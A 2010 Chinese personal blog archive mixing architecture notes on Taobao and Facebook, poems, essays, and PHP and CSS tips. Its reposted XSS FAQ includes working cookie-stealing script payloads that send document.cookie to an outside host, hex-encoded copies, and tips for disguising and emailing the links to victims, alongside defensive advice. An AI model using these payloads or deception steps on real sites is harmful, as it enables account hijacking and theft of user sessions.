我们应该以一生之久,尽可能那样久地去等待,采集真意与精华,最后或许能够写出十行好诗。因为诗并不象一般人所说的是情感,——诗是经验。为了一首诗我们必须观看许多城市,观看人和物,我们必须认识动物,我们必须去感觉鸟怎样飞翔,知道小小的花朵在早晨开放时的姿态。我们必须能够回想:异乡的路途,不期的相遇,逐渐临近的别离。
2010年3月30日星期二
来自淘宝的架构经验
网址: http://www.dbanotes.net/arch/taobao_arch.html
淘宝网架构师黄裳带来的技术分享,在最后他总计了淘宝这几年来的架构经验:
- 1、适当放弃一致性
- 2、备份和隔离解决稳定性问题
- 3、分割和异步解决性能问题(类似 eBay 的 Asynchrony Everywhere)
- 4、自动化降低人力成本(类似 eBay 的 Automate Everything)
- 5、产品化管理
在这里不妨对比一下 eBay 的架构经验:
- 1、 Partition Everything
- 2、 Asynchrony Everywhere
- 3、 Automate Everything
- 4、 Remember Everything Fails
- 5、 Embrace Inconsistency
- 6、 Expect (R)evolution
- 7、 Dependencies Matter
- 8、 Be Authoritative
- 9、 Never Enough Data
- 10、Custom Infrastructure
关于一致性,可以延伸阅读 Amazon CTO 的大作 Eventually Consistent。此外,强调了"放弃集中的紧耦合处理"的原则。"备份"这里可以理解为"提供可用的副本"。"分割"是说水平拆分。
架构这东西说起来大致原则,其实都是类似的,但是具体如何在一些通用原则上做到运用自如,是很难的事情。前几天我还感慨,很多架构师对与"异步"与"批量处理"所能带来的益处的理解仍然相去甚远。
Facebook 海量数据处理
网址: http://www.dbanotes.net/arch/taobao_arch.html
好几个地方看到这个 Facebook - Needle in a Haystack: Efficient Storage of Billions of Photos,是 Facebook 的 Jason Sobel 做的一个 PPT,揭示了不少比较有参考价值的信息。
图片规模
作为世界上最大的 SNS 站点之一,Facebook 图片有多少? 65 亿张原始图片,每张图片存为 4-5 个不同尺寸,这样总计图片文件有 300 亿左右,总容量 540T,天! 峰值的时候每秒钟请求 47.5 万个图片 (当然多数通过 CDN) ,每周上传 1 亿张图片。
图片存储
前一段时间说 Facebook 服务器超过 10000 台,现在打开不止了吧,Facebook 融到的大把银子都用来买硬件了。图片是存储在 Netapp NAS上的,采用 NFS 方式。
图片写入
尽管这么大的量,似乎图片写入并不是问题。如上图,是直接通过 NFS 写的。
图片读取
CDN 和 Cachr 承担了大部分访问压力。尽管 Netapp 设备不便宜,但基本上不承担多大的访问压力,否则吃不消。CDN 针对 Profile 图象的命中率有 99.8%,普通图片也有 92% 的命中率。命中丢失的部分采由 Netapp 承担。
图中的 Cachr 这个组件,应该是用来消息通知(基于调整过的 evhttp的嘛),Memcached 作为后端存储。Web 图片服务器是 Lighttpd,用于 FHC (文件处理 Cache),后端也是 Memcached。Facebook 的 Memcached 服务器数量差不多世界上最大了,人家连 MYSQL 服务器还有两千台呢。
Haystacks --大海捞针
这么大的数据量如何进行索引? 如何快速定位文件? 这是通过 Haystacks 来做到的。Haystacks 是用户层抽象机制,简单的说就是把图片元数据的进行有效的存储管理。传统的方式可能是通过 DB 来做,Facebook 是通过文件系统来完成的。通过 GET / POST 进行读/写操作,应该说,这倒也是个比较有趣的思路,如果感兴趣的话,看一下 GET / POST 请求的方法或许能给我们点启发。
总体来看,Facebook 的图片处理还是采用成本偏高的方法来做的。技术含量貌似并不大。不清楚是否对图片作 Tweak,比如不影响图片质量的情况下减小图片尺寸。
Facebook 的 PHP 性能与扩展性
网址: http://www.dbanotes.net/arch/facebook_php.html
炙手可热的 Facebook 是用 PHP 开发的。随着一些技术交流,逐渐能看到 Facebook 技术人员分享的经验。近期这个 geekSessions 站点上看到 Facebook 的 Lucas Nealan 分享的文档比较有参考价值。
Cache 为 王
任何一个成功的站点都有一套最合适自己的 Cache 策略。
Note:这个层次图画的稍微有点问题,不是严格从上到下的。
The Alternative PHP Cache , APC
Facebook 平均每个用户每天要访问超过 50 个页面,PHP的页面载入时间的优化就比较重要了。在 PHP Cache 层,Facebook 采用了 APC。
Lucas Nealan 的 PPT 举了一个例子,一个页面显示的时间从 4000 多毫秒降到了 100 多 毫秒。在 apc.stat 关闭的模式下,性能还要更好一些。不过需要重启动或用apc_cache_clear() 来通知更新。
Memcached 层
APC Cache 的是非用户相关的信息,而用户相关的数据 Cache 当然是在 Memcached 中。
Facebook 部署了超过 400 台 Memcached 服务器,超过 5TB 的数据在 Memcached 中。这是当前世界上最大的 Memcached 集群了。也给 Memcached 贡献了不少代码,包括 UDP 的支持和性能上的提升(性能提升超过 20%)。
程序 Profiling
Facebook 开发人员大量采用 Callgrind 、APD、 xdebug 、KCachegrind 等工具进行基准性能测试。任何一个 Web 项目,这也是不可或缺,也是比较容易忽略的一环。所有开发人员都应该具备熟练使用这些工具的能力才好。
补充一下:语言的选择
为什么 Facebook 选择 PHP 而不是其他语言? 用Flickr 的 Cal Henderson 这句话就能说明了: "Languages's don't Scale, Architecture Scale"。
从 80-20 的原则看,APC 和 Memcached 是最主要的。在这两个环节上下功夫,受益/开销比要大于另外几个环节。
(上面的图是从 Lucas Nealan 的文档截的,版权所有是他的)
2010年3月29日星期一
PER交流会
或许是没定义一个主题,以至于大半时间都是那些所谓的“资格”人物在泛泛而谈,或是任职于知名企业的在“侃侃而谈”,请原谅这里我这种看来嫉妒的酸葡萄心理。只是真的,我不知道那些所谓对于那些抱着诚心来学习的人,尤其是刚入门的人来说有什么作用?提及的所说的公司招人一定要本科毕业,不是211工程,也是要本科一批云云之类的话语,对于那些半路“出家”进入这个行业的小孩子们而言有什么用,当然,如果他们的心理够强壮,够自信的话,这些话语也只是耳边风而已。或许只是因为个人认为,计算机行业,是不同于其他的任何行业,本科生也好,还是研究生,博士生也罢,如果你的动手能力还不如一个小学毕业的人。那样的空有成绩纸上谈兵的又有何用?
甚是搞笑的是,如果你不是出自于他们眼中的“知名企业”,或是不是他们眼中的“知名人物”,那到场的其他人都是很菜的!呵~,这定义的交流会,怎么感觉有了“嫌贫爱富”的趋向了呢?也许正如那句“林子大了,什么鸟也都就有了吧~”;人多了,也就各种价值观都出现了吧~!
2010年3月25日星期四
跨站脚本攻击(XSS)
AUTHOR: charlee
简介
现在的网站包含大量的动态内容以提高用户体验, 比过去要复杂得多. 所谓动态内容, 就是根据用户环境和需要, Web应用程序能够输出相应的内容. 动态站点会受到一种名为"跨站脚本攻击" (Cross Site Scripting, 安全专家们通常将其所写成 XSS) 的威胁, 而静态站点则完全不受其影响.
什么是跨站脚本攻击
跨站脚本攻击 (也称为XSS) 指利用网站漏洞从用户那里恶意盗取信息. 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时, 通常会点击其中的链接. 攻击者通过在链接中插入恶意代码, 就能够盗取用户信息. 攻击者通常会用十六进制 (或其他编码方式) 将链接编码, 以免用户怀疑它的合法性. 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面, 而这个页面看起来就像是那个网站应当生成的合法页面一样. 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子. 假设用户甲发表了一篇包含恶意脚本的帖子, 那么用户乙在浏览这篇帖子时, 恶意脚本就会执行, 盗取用户乙的session信息. 有关攻击方法的详细情况将在下面阐述.
XSS和CSS是什么意思
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS, 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. 因此有人将跨站脚本攻击缩写为XSS. 如果你听到有人说 "我发现了一个XSS漏洞", 显然他是在说跨站脚本攻击.
跨站脚本攻击有什么危害
为了搜集用户信息, 攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户 (详见下文) . 一旦得手, 他们可以盗取用户帐户, 修改用户设置, 盗取/污染cookie, 做虚假广告等. 每天都有大量的XSS攻击的恶意代码出现. Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击".
http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
能否给出几个跨站脚本攻击的例子
著名的PHPnuke程序有很多XSS漏洞. 由于该程序十分流行, 因此经常被黑客们作为XSS的攻击对象进行检查. 下面给出了几个已公开报告的攻击方法.
- http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
- http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
- http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
能否解释一下XSS cookie盗窃是什么意思
根据作为攻击对象的Web程序, 下面某些变量和插入位置可能需要进行调整. 要注意这只是攻击方法的一个例子. 在这个例子中, 我们将利用脚本"a.php"中的 "viriable"变量中的跨站脚本漏洞, 通过正常请求进行攻击. 这是跨站脚本攻击最常见的形式.
A 锁定目标
当你找到某个Web程序存在XSS漏洞之后, 检查一下它是否设置了cookie. 如果在该网站的任何地方设置了cookie, 那么就可以从用户那里盗取它.
B 测试
不同的攻击方式将产生不同的XSS漏洞, 所以应适当进行测试以使得输出结果看起来像是正常的. 某些恶意脚本插入之后会破坏输出的页面. (为欺骗用户, 输出结果非常重要, 因此攻击者有必要调整攻击代码使输出看起来正常. )
下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript (或其他客户端脚本) . 下面列出了一些经常用于测试XSS漏洞的链接. 当用户点击这些链接时, 用户的 cookie 奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示. 如果你看到显示结果中包含了cookie信息, 说明可能可以劫持该用户的账户.
盗取Cookie的Javascript示例. 使用方法如下:
ASCII用法
[js]
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
[/js]
十六进制用法
[js]
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[/js]
注意: 每种用法都先写为 ASCII, 再写成十六进制以便复制粘贴.
[js]
//1
><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
//2
<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
//3
><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
[/js]
C 执行XSS
将做好的URL通过电子邮件或其他方式发送出去. 注意如果你直接将URL发送给其他人 (通过电子邮件、即时通讯软件或其他方式) , 你应当将其进行十六进制编码, 因为这些URL一眼便可看出包含恶意代码, 但经过十六进制编码之后就可以欺骗大部分人.
D 处理收集到的信息
一旦用户点击了你的URL, 相应数据就会被发送到你的CGI脚本中. 这样你就获得了 cookie信息, 然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户.
在上面的例子中, 我们仅仅将用户带到了 cookie.cgi页面上. 如果你有时间, 你可以在CGI中将用户重定向到原来的页面上, 即可在用户不知不觉之中盗取信息.
某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码. 即使像Hotmail这样的大型网站也是如此, 不过它对附件内容作了许多过滤以避免cookie被盗.
作为网站管理者应当如何防范
这个问题很简单. 坚决不要相信任何用户输入并过滤所有特殊字符. 这样既可消灭绝大部分的XSS攻击. 另一个建议是输出页面时将 < 和 > 变换成 < 和 >. 要记住, XSS漏洞极具破坏性, 一旦被利用, 它会给你的事业带来极大的损害. 攻击者会将这些漏洞公之于众, 这会在用户隐私的问题上大大降低你的网站的用户信赖度. 当然, 仅仅将 ( 和 ) 变换成 < 和 > 是不够的, 最好将 ( 和 ) 变换成 ( 和 ), # 和 & 变换成 # 和 &. [即全都变为HTML 符号]
作为用户应当如何防范
保护自己的最好方法就是仅点击你想访问的那个网站上的链接. 例如, 如果你访问了一个网站, 该网站有一个链接指向了 CNN, 那么不要单击该链接, 而是访问 CNN 的主站点并使用搜索引擎查找相关内容. 这样可以杜绝90%以上的XSS攻击. 有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行. 当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意. 最好的解决办法就是关闭浏览器的 Javascript 功能. 在IE中可以将安全级别设置为最高, 可以防止cookie被盗.
XSS漏洞有多常见
由于XSS漏洞很容易在大型网站中发现, 在黑客圈内它非常流行. FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞.
在商业产品中, 平均每个月能够发现10-25个XSS漏洞.
加密能否防止XSS攻击
使用SSL(https)加密的网站并不比不加密的网站好到哪儿去. Web程序仍然以同样的方式工作, 只是攻击是通过加密的连接实现. 有些人看到浏览器上的锁图标就认为他们是安全的, 其实不然.
XSS漏洞能否在服务器上执行命令
XSS漏洞会导致Javascript的恶意插入, 但它的执行受到很多限制. 如果攻击者利用浏览器的漏洞, 有可能在用户的计算机上执行命令. 因此, 就算能够执行命令也只能在客户端. 简单地说, XSS漏洞可以触发客户端的其他漏洞.
如果我不修改CSS/XSS漏洞会怎样
如果不修改XSS漏洞, 你的网站上的用户会受到被篡改的威胁. 许多大型网站都发现了XSS漏洞, 这个问题已经得到普遍认识. 如果不修改, 发现它的人也许会警告你的公司, 损害公司的信誉. 你拒绝修改漏洞的消息也会传到客户那里, 造成公司的信任危机. 客户不信任的话还怎么做生意
介绍一些更深入讲解XSS的地方:
- "Cross-site scripting tears holes in Net security" http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm
- Article on XSS holes http://www.perl.com/pub/a/2002/02/20/css.html
- "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" http://www.cert.org/advisories/CA-2000-02.html
- Paper on Removing Meta-characters from User Supplied Data in CGI Scripts. http://www.cert.org/tech_tips/cgi_metacharacters.html
- Paper on Microsoft's Passport System http://eyeonsecurity.net/papers/passporthijack.html
- Paper on Cookie Theft http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies
2010年3月23日星期二
值对象,HTTP_REFERER
想起前不久看过的PHP模式一书,对于里面说到的值对象模式,愈想,疑惑更浓。动手写了个例题,却让疑问更上一层楼。理论上,PHP5中,通过new进行对象资源的赋值传递的是对象资源的指针,如PHP4中指针传递一样。
[php]
class a {
var $b;
public function __construct() {
$this->b = 1;
}
function setb($b) {
$this->b = $b;
}
}
$test1 = new a;
$test2 = new a;
$test1->setb(2);
echo $test1->b;
echo $test2->b;
[/php]
按上面的理解应该是,$test1, $test2指向同一个地址,不管其中的那个值改变,都会影响到另外一个变量。但是,结果却是:
[code lang="text"]
2
1
[/code]
不知道这个问题该做何解?
又想到大概2个月前,项目中出现的问题,
$_SERVER['HTTP_REFERER']在IE6下取不到对应的值。当时,跑遍了国内外网站,得到的结论是:这是PHP在IE6下的bug,因为当时时间仓促,自己也就没去做测试。因为上面的问题,于是,也就写了一个测试案例在IE6下做测试,结果却是:能取得到值。又Google了下,看到了2月前的看过的文章,但也有个新的收获,一般情况下,为了保证链接的安全性,这个值都是不提倡使用的。
用PHP,HTML, JS实现跳转,$_SERVER['HTTP_REFERER'],测试的结果如下:
[code lang="js"]
//JS:
window.location = "http://www.*****.com/";
[/code]
FF下有值,IE下无值
[html]
//Meta Refresh:
<meta http-equiv="refresh" content="5;url=http://www.*****.com"/>
[/html]
FF, IE6下均无值
[php]
//HTTP 302 Header Redirect in PHP
header('Location: http://www.*****.com', true, 302);
exit;
[/php]
FF, IE6下均无值
另外,查到的资料如是说:若启用了HTTPS,不管那种情况都是取不到HTTP_REFERER值。因为无测试环境,这个就无从得知了~
2010年3月19日星期五
刚好
习惯
抬头四十五度
仰望天际
我想你的时候
你会不会刚好
正在想我
我们都要
尽量靠近光亮
让心情温暖
一辈子做对
与做错的事
会不会刚好一样多
我不停的举手发问
却没有人
告诉我答案
拥抱一只猫
莫名涌现
幸福美满的感动
然而突然暴怒狂抓
常常殃及无辜
我真的不是故意的
世界虽然繁华美丽
对我而言
却常是朦胧不真实
纵使受尽委屈
我也要努力
保持风度吗?
我比你勇敢吗?
还是刚好你比我懦弱
我们早知道不适合当强人
伤心难过时
朋友怎么都刚好
消失无影
找到一个爱我
与我爱的人
变成梦里的情节
卧倒雪地
三天三夜
可能刚好都没有人会发现
看不见的世界
或许才是真实的
还是,也不是真实的
自导自演
一出悲怜的故事
我到底想得到什么?
现出邪恶的原形
过分压抑
对谁都不好
流浪去吧
总会在世界的一角
找到愿意懂你的人
你快乐时
我刚好感到哀愁
人生不都是如此吗
2010年3月16日星期二
有一种女孩
有一种女孩,有很多朋友,也可能不乏异性哥们儿,有的可以一起谈人生论天下 思想交流无极限,有的可以一起结搭档做生意 生活问题伸援手,却始终茕茕孑立找不到那个可以执子之手的人。总是坚强乐观,却在转过身后独自舔舐着内心的空旷;总是开朗嘻哈喜欢热闹,却总是在热闹里失落找不到自己,然后寻觅一个小角落,回到那个安静的自己。
有一种女孩,就这样,在年复一年日复一日中,剩下来了……
这样的女孩,也许很懂事是孝顺父母的女儿,也许一路成绩优秀是他人眼中的乖乖女,也许善解人意是朋友心中的一抹温暖,却其实天生没有安全感,总是害怕着什么。
现代社会,不期待爱情的女孩通常没有;现代社会,对现实因素没有考虑的女孩,也通常没有。总可以听到这样的谆谆告诫,女孩子最重要的是嫁人,是现实。一起久了,感情就有了,孩子有了,感情就牢了,关键是要有物质基础。可是,真是这样吗?!那爱情,究竟是什么呢 如果说是一种感觉,是不是也很飘渺啊?你又怎么知道那个你为之心动的人也为你心动呢?
这样的女孩,甚至有的给人大大咧咧的印象或者干练的女性形象,喜欢和异性朋友以兄弟相称,其实是为了保障自己只当做朋友的人不要再往前走,以免大家尴尬,能够友谊长存。这样的女孩,可以和大多人成为朋友,却对心中那一个位置,紧紧看守,谨小慎微。有的人费尽心力却走不进半步,有的人不太经意却已生根发芽。
这样的女孩,如果有喜欢的人,也多半是默默地暗恋,静静的祝福。自我的束缚限制,内心的保守被动使得她们只能等待,等待一个没有期限的结局。害怕主动接近示好被看低,连尊严都丢掉;害怕彼此最终成牵绊,连朋友都没得做…
这样的女孩和兄弟可以捧逗自如自然相对甚至不拘小节,但面对自己在意的人,却退避三尺不知所措甚至遥相观望。很多人,很多时候 错过了。女孩,却依然无能为力。这样的女孩,也想过接受某个人,明明他很好却始终找不到安全感,换不掉那个在心底隐隐的人。
这样的女孩,也有的太习惯了单独的生活,有时憧憬两个人的路却始终没有走进心里的那个人。觉得有点疑惑,假如两个人在一起,该怎么过呢该干什么呢?彼此习惯也许会有很多问题呢?
于是,于是,这样的女孩总是给自己太多的顾虑,太复杂的限制,只好剩下了。
这样的女孩,再过几年就二十五六了,如果没有做到很高的层次,在各种压力的作用下,就该开始寻觅着嫁人了。可是,还没有恋爱过呀?难道真的相亲,为人妻,为人母,就这样一辈子?这让她们害怕。
这样的女孩,曾经一直相信天长地久,却被太多次的告知,如果想找寻纯净的爱,还是抱着曾经拥有的态度吧!这样的女孩,如果有喜欢的人一定希望可以在一起哪怕不可能,却被太多次的告知,女人要找一个爱你的人而不是你爱的人。
这样的女孩,在80后的剩女中,占据着一席的地位,尴尬着有些落寞茫然
这样的女孩,在80后的人群中,无论求学还是工作,知道自己任重而道远,要独自去努力
这样的女孩,在80后的人潮中,终会被拍上堤岸,但愿到时不要离幸福太远
PS:
一大早朋友分享给我的文章。她说,看到前面就想起了我,看到后面是感觉愈来愈像我~。开玩笑说,还以为这是我写的。
2010年3月12日星期五
Closure Tools:Google的javascript库
Google 开发了那么多 web application, 由于 web 浏览器和 web 标准的差异性, 势必需要一套库来解放 Google 的这些程序天才, 让他们从无聊的底层代码解脱出来, 关注算法, 关注应用程序逻辑.
之前, Google 说也在用 YUI 和 ext js 等 Javascript 库, 但去看看它的程序代码就会疑惑, 几乎没有任何痕迹显示在用这些库. 当然, Google 也有一套工具:GWT. 用java代码来编写 web applicationi, 完全无视浏览器的存在, 但是显而易见的就是, 既然代码全是java代码转换而来, 肯定少不了也写包裹性质的代码, 性能必然有不小的折扣, 而且随着应用的扩大, 这个折扣也是直线上升的, 更重要的是, 数据被藏了起来, 我想任何希望自己数据被搜索引擎索引的开发者, 都是不能接受的. 所以, 除了做企业应用的开发商, 不会有多少人感兴趣. 至今, 我只看到 Google profile 在用GWT. 种种迹象表明, Google 内部一定有套大而全的 Javascript 库.
今天, Google 说出了这个秘密:Closure Tools. 由三个部分组成, 其中的 Closure Library 从概念上来说, 是一个和 YUI 和 ext js 可比较的, 大而全的 Javascript 库. 谷歌做了个比喻, 说这个库类似于 c++ 的 STL, 由于它还有 UI 的 widget, 我想至少还要加上类似微软 MFC/WTL 的作用. 可见这个库在 Google 内部是非常重要, 和被广泛采用的. 它的功能非常广泛, 整个的结构是按需消费的, 除了 base.js 以外, 其它组件都是可选, 具体的组件列表 在这里, 一些 demo 在这里. 使用上第一感觉就是, 非常的踏实, 该有的都有, 使用虽然不像 jQuery 那样精炼, 但也非常合理和简洁. 比 jQuery 好的就是不要去满地儿找插件, 我的预测是 YUI 将进一步边缘化, ext js 很难会有新用户了. 而 jQuery 由于其 lightweight 的特点, 应该能和 Closure Library 并存.
Colsure Tools 的其它两个部件分别是一个 Javascript 的优化器:Closure Compiler, 和一个 Javascript 的Template系统:Closure Templates. 这个 Javascript 的优化器不是简单的javascipt minimal的工具, 它会深入分析你的 Javascript 代码, 从而产生更精炼, 效率更高的代码. 比如如果有个变量没用到, 优化器会删掉它.
另一个是一个 Javascript 的 Template 系统, 我觉得更像是一个DSL(Domain-specific language). 它的目的是把数据表示成这个 DSL, 通过它再去生成HTML. 我们知道HTML本身就是表示数据的 DSL, XML 也是, 由于浏览器和 DocType 的差异性, 表示成 HTML 有点不够保险, 但是我们还有 JSON, 对 web 来说, 这可能是最高效的 DSL了, 再造一门 DSL, 有多大的必要性, 值得商榷, 何况这个 Google 的这个 DSL, 特点并不明显.
2010年3月11日星期四
CSS Sprites技术
1 关于CSS Sprite
CSS Sprites技术不新鲜, 早在2004年 CSS Zen Garden 的园主 Dave Shea就在ALA发表对该技术的详细阐述. 原先只在CSS玩家之间作为一种制作方法流传, 后来出来个14 Rules for Faster-Loading Web Sites, 技术人员之间竞相传阅, 其中第一条规则Make Fewer HTTP Requests就提到CSS Sprites. 于是这个就火了起来, 甚至出现了在线生成工具. 近来很多blog都提到CSS Sprites, 最著名的例子莫过于 http://www.google.co.kr/下方的那几个动画. 最新发布的YUI中, 也是使用到CSS Sprites, 几乎都有的CSS装饰图都被一个40×2000的图包办. 社交大站Facebook最近也使用了一个22×1150的图片承担了所有icon. 一时间, CSS Sprites无处不在.
CSS Sprites是一种网页图片应用处理方式. 它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去, 这样一来, 当访问该页面时, 载入的图片就不会像以前那样一幅一幅地慢慢显示出来了. 对于当前网络流行的速度而言, 不高于200KB的单张图片的所需载入时间基本是差不多的, 所以无需顾忌这个问题.
按照yahoo的rules for high performance web sites的原则, 应当较少Client与Server端间的HTTP Request次数. 通过CSS Sprites方法将多张图片组装成单独的一张图片, 可以有效减少HTTP请求 的次数.
当整幅图片载入完成后, 就可以使用CSS方法通过设置背景位置的方式完成所需图片的准确调用.
2 CSS Sprite的使用
有几篇关于CSS Sprites的文章
- What Are CSS Sprites?
- How to create CSS sprites
- Creating Rollover Effects with CSS Sprites
- Building a Dynamic Banner with CSS Sprites
- High Performance Web Sites中关于CSS Sprites的内容3.2. CSS Sprites
3 CSS Sprite的例子
[原文:http://blog.rexsong.com/?p=746#comments]
A. 图片限制(Image Slicing)
典型如文本编辑器, 小图标特别多, 打开时一张张跑出来, 给用户的感觉很不好. 如果能用一张图解决, 则不会有这个问题, 比如百度空间、163博客、Gmail都是这么做的.
Image Slicing’s Kiss of Death
http://www.alistapart.com/articles/sprites
B. 单图转滚(Single-image Rollovers)
触发切换图片的需求, 传统方案得重新请求新图片, 因为网络问题经常造成停留或等待. 如果能把多种状态合并成一张图, 就能完美解决, 然后再使用背景图技术模拟动态效果.
ColorScheme Ratings
http://demo.rexsong.com/200608/colorscheme_ratings/
C. 延长背景(Extend Background Image)
如果图片的某边可以背景平铺无限延长, 则不需要每个角、每条边单独搞出来, 图片能少一个就少一个. 其实, 这个理论还可以扩展到四角容器里, 好处是能大大简化HTML Structure.
Extend Background Image
http://demo.rexsong.com/200705/extend_background_image/
D. 综合案例
Google Korea (1和2技巧
http://demo.rexsong.com/200705/google_korea/
E. CSS Menus (2和3技巧)
http://demo.rexsong.com/200705/css_background_menus/
4 CSS Sprites的问题
由于IE6存在的background的flicker问题IE6/Win, background image on <a>, cache=‘check every visit’: flicker!, 有人针对此问题提出了解决方案Fast Rollovers Without Preload
关于IE6的flicker问题, fivesevensix.com上有一篇很不错的研究文章Minimize Flickering CSS Background Images in IE6
另外:brunildo.org的CSS tests and experiments是关于css各种功能不错的参考手册和测试工具.
5 相关资源
- What Are CSS Sprites? http://www.peachpit.com/articles/printerfriendly.aspx?p=447210&rl=1
- CSS Sprites: Image Slicing’s Kiss of Death http://www.alistapart.com/articles/sprites/
- CSS Sprites Generator http://www.csssprites.com/
- http://spritegen.website-performance.org/
- Fast Rollovers Without Preload http://wellstyled.com/css-nopreload-rollovers.html
- JavaScript Sprite Animation Using jQuery http://www.sitepoint.com/blogs/2007/07/20/javascript-sprite-animation-using-jquery/
- http://www.sitepoint.com/blogs/2007/07/05/css-using-percentages-in-background-image/
- How to create CSS sprites http://fatagnus.com/how-to-create-css-sprites/
- Creating Rollover Effects with CSS Sprites http://www.devarticles.com/c/a/Web-Style-Sheets/Creating-Rollover-Effects-with-CSS-Sprites/
- Building a Dynamic Banner with CSS Sprites http://www.devarticles.com/c/a/Web-Style-Sheets/Building-a-Dynamic-Banner-with-CSS-Sprites/
- CSS Sprites and IE/Win Flicker Issue http://www.brajeshwar.com/2006/css-sprites-and-iewin-flicker-issue/
- css用法测试工具:CSS tests and experiments http://www.brunildo.org/test/index.html
2010年3月5日星期五
忧伤还是快乐
如同无法预知的蝴蝶效应
这百无聊赖的生活
感觉不到时间的吞噬
微抬手
那扎眼的伤疤已经褪去
留下一道凌利的痕
这就是时间
控制不了
抗拒不了
逃避不了
心情好一时 坏也一时
独自安静坐在那儿
怀恋以前怎样怎样的时光 如何如何的刻骨
可又怎么样呢
一拍脑袋 又被打回现实
依然要保持着那份活着的勇气
时间是神圣的
因为它不可驾驭
因而 要铭记
让时间在脑海中停留
被忽视的那段时间里
错过了什么
快乐的忘乎所以 亦或悲伤的不闻世事
不管怎样
不管怎样
时间都是走在前头
跟着它 感叹它
它带走了很多
可是 仍然带不走那些纯粹的情感
那些 才可称之为永恒
在酷狗上看到的《忧伤还是快乐》的歌词,但是,更感觉它叫时间 OR 时光~
一切皆成往事,但时光不会遗忘 ~
2010年3月2日星期二
Optimize PHP code
- If a method can be static, declare it static. Speed improvement is by a factor of 4.
- echo is faster than print.
- Use echo’s multiple parameters instead of string concatenation.
- Set the maxvalue for your for-loops before and not in the loop.
- Unset your variables to free memory, especially large arrays.
- Avoid magic like __get, __set, __autoload
- require_once() is expensive .
- Use full paths in includes and requires, less time spent on resolving the OS paths.
- If you need to find out the time when the script started executing, $_SERVER[’REQUEST_TIME’] is preferred to time()
- str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4.
- If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.
- It’s better to use select statements than multi if, else if, statements.
- Error suppression with @ is very slow.
- Turn on apache’s mod_deflate
- Close your database connections when you’re done with them.
- $row[’id’] is 7 times faster than $row[id].
- Error messages are expensive.
- Do not use functions inside of for loop, such as for ($x=0; $x < count($array); $x) The count() function gets called each time.
- Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.
- Incrementing a global variable is 2 times slow than a local var.
- Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.
- Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.
- Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.
